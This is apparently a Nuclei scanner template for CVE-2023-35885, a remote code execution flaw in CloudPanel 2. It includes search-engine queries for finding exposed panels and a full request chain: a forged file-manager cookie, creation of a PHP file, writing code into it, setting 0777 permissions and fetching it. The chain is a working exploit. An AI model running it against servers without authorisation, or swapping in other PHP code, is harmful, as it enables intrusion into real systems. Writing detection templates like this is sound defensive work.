CVE-2023-35885: Cloudpanel 2 < 2.3.1 - Remote Code Execution

id: CVE-2023-35885

info:
  name: Cloudpanel 2 < 2.3.1 - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    CloudPanel 2 before 2.3.1 has insecure file-manager cookie authentication.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade Cloudpanel to version 2.3.1 or later to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35885
    - https://www.datack.my/fallingskies-cloudpanel-0-day/
    - https://github.com/datackmy/FallingSkies-CVE-2023-35885
    - https://www.cloudpanel.io/docs/v2/changelog/
    - https://github.com/Tropinene/Yscanner
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-35885
    cwe-id: CWE-565
    epss-score: 0.94122
    epss-percentile: 0.99904
    cpe: cpe:2.3:a:mgt-commerce:cloudpanel:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: mgt-commerce
    product: cloudpanel
    shodan-query:
      - title:"Cloudpanel"
      - http.title:"cloudpanel"
      - http.favicon.hash:"151132309"
    fofa-query:
      - icon_hash="151132309"
      - title="cloudpanel"
    google-query: intitle:"cloudpanel"
  tags: cve2023,cve,cloudpanel,rce,intrusive,mgt-commerce,fileupload
variables:
  session: "ZGVmNTAyMDA3ZDI0OGNjZmU0NTVkMGQ2NmJhMjUxYjdhYzg0NzcyYzBmNjM0ODg0ODY0OWYyZTQ0MjgwZDVjZDBjNmY3MWJiZWU4ZTM4OTU4ZmE4YjViNjE4MGJiZjQ4NzA3MzcwNTJiNzFhM2JjYTBmNTdiODQ4ZDZjYjhiNmY1N2U3YTM1YWY3YjA3MTM1ZTlkYjViMjY5OTkzM2Q3NTAyOWI0ZGQ5ZDZmOTFhYTVlZTRhZjg0ZTBmZTU5NjY4NGI4OGU0NjVkNDU4MWYxOTc2MGNiMGI0ZGY2MmZjM2RkMmI4N2RhMzJkYTU4NjNjMWFmMGZlOWIwZjcyZGRkNmFhYzk3ZGVlZmY="
  str1: "{{rand_base(10)}}"
  string: "CVE-2023-35885"

http:
  - raw:
      - |
        GET /file-manager/ HTTP/1.1
        Host: {{Hostname}}
        Cookie: clp-fm={{session}}
      - |
        POST /file-manager/backend/makefile HTTP/1.1
        Host: {{Hostname}}
        Cookie: clp-fm={{session}}
        Content-Type: application/x-www-form-urlencoded

        id=/htdocs/app/files/public/&name={{str1}}.php
      - |
        POST /file-manager/backend/text HTTP/1.1
        Host: {{Hostname}}
        Cookie: clp-fm={{session}}
        Content-Type: application/x-www-form-urlencoded

        id=/htdocs/app/files/public/{{str1}}.php&content=<?php echo md5("{{string}}");unlink(__FILE__);?>
      - |
        POST /file-manager/backend/permissions HTTP/1.1
        Host: {{Hostname}}
        Cookie: clp-fm={{session}}
        Content-Type: application/x-www-form-urlencoded

        id=/htdocs/app/files/public/{{str1}}.php&permissions=0777
      - |
        GET /{{str1}}.php HTTP/2
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body_5
        words:
          - '{{md5(string)}}'
# digest: 4b0a00483046022100eede72b965be46126113da211db26466e070b3eb23b4b47324a8b7095cc77dc9022100dba7bb5f1371e7e3685e20f33081f4cd846aa956fb510365b8db3ceccc7d98c3:922c64590222798bb761d5b6d8e72950